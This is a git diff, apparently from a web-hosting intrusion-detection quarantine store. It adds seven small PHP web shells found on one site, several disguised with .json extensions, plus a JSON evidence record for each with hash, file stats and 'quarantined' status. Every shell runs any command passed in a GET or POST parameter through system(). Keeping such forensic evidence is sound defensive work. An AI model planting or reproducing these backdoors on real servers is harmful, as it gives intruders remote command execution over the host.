diff --git a/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json b/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json
new file mode 100644
index 0000000..02a4de5
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json
@@ -0,0 +1 @@
+<?php echo "FLAMY_SHELL_".php_uname()."_".getcwd(); @system($_GET['c']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json.evidence.json
new file mode 100644
index 0000000..534b1c4
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5228",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/8j7txp50.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/8j7txp50.php.json)",
+  "original_sha256": "0c42ac94c7f526c0b942532abcd57e040d3fc980e65cfd9575a015e2c2cbb266",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783343465,
+    "size": 75,
+    "uid": 20043
+  },
+  "rel_path": "tmp/8j7txp50.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json.evidence.json
new file mode 100644
index 0000000..687d631
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5217",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/r0ps_v464ri.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111733,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "tmp/r0ps_v464ri.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json.evidence.json
new file mode 100644
index 0000000..0b4acbc
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5218",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/r0ps_v464ri.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/r0ps_v464ri.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784111717,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "tmp/r0ps_v464ri.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json.evidence.json
new file mode 100644
index 0000000..6be1c0d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5219",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/r0ps_zn8fgo.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110121,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "tmp/r0ps_zn8fgo.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json
new file mode 100644
index 0000000..94fbd9a
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json
@@ -0,0 +1 @@
+<?php echo "<pre>".php_uname()."\n"; system($_GET["c"]); echo "</pre>"; ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json.evidence.json
new file mode 100644
index 0000000..d62259d
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "5215",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:tmp/r0ps_zn8fgo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/tmp/r0ps_zn8fgo.php.json)",
+  "original_sha256": "c4f98f6b5ad296b1afc90555d87c98d9d6b994784f0fcfcf79f248ec62bc6d3a",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784110105,
+    "size": 74,
+    "uid": 20043
+  },
+  "rel_path": "tmp/r0ps_zn8fgo.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/up.php.json b/var/www/hosting/archlinexp.eu/www/up.php.json
new file mode 100644
index 0000000..9df5b70
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/up.php.json
@@ -0,0 +1 @@
+<?php system($_GET['cmd']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/up.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/up.php.json.evidence.json
new file mode 100644
index 0000000..bd87d75
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/up.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4913",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:up.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/up.php.json)",
+  "original_sha256": "86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1784054649,
+    "size": 30,
+    "uid": 20043
+  },
+  "rel_path": "up.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/vile.php.json.json b/var/www/hosting/archlinexp.eu/www/vile.php.json.json
new file mode 100644
index 0000000..9df5b70
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/vile.php.json.json
@@ -0,0 +1 @@
+<?php system($_GET['cmd']); ?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/vile.php.json.json.evidence.json b/var/www/hosting/archlinexp.eu/www/vile.php.json.json.evidence.json
new file mode 100644
index 0000000..d866184
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/vile.php.json.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4893",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:vile.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/vile.php.json.json)",
+  "original_sha256": "86b0eea46ef9d06f7bfadbd02632f60828c4eb2cd3de3d47e4e9c0291d532778",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783741581,
+    "size": 30,
+    "uid": 20043
+  },
+  "rel_path": "vile.php.json.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}
diff --git a/var/www/hosting/archlinexp.eu/www/zyfnar.php.json b/var/www/hosting/archlinexp.eu/www/zyfnar.php.json
new file mode 100644
index 0000000..eb53066
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/zyfnar.php.json
@@ -0,0 +1,9 @@
+<?php 
+if(isset($_GET['cmd'])){
+    system($_GET['cmd']);
+} elseif(isset($_POST['cmd'])){
+    system($_POST['cmd']);
+} else {
+    echo "zyfnar shell active";
+}
+?>
\ No newline at end of file
diff --git a/var/www/hosting/archlinexp.eu/www/zyfnar.php.json.evidence.json b/var/www/hosting/archlinexp.eu/www/zyfnar.php.json.evidence.json
new file mode 100644
index 0000000..dab94a7
--- /dev/null
+++ b/var/www/hosting/archlinexp.eu/www/zyfnar.php.json.evidence.json
@@ -0,0 +1,15 @@
+{
+  "finding_ref": "4914",
+  "log_excerpt": "[quarantine] www.archlinexp.eu:zyfnar.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.eu/www/zyfnar.php.json)",
+  "original_sha256": "44be217443e45e6dc2d7f300e14c862d961fb992d053825cf5bf8b572242aa38",
+  "original_stat": {
+    "gid": 30037,
+    "mtime": 1783614676,
+    "size": 162,
+    "uid": 20043
+  },
+  "rel_path": "zyfnar.php.json",
+  "result": "quarantined",
+  "timestamp": "20260718T160204Z",
+  "vhost": "www.archlinexp.eu"
+}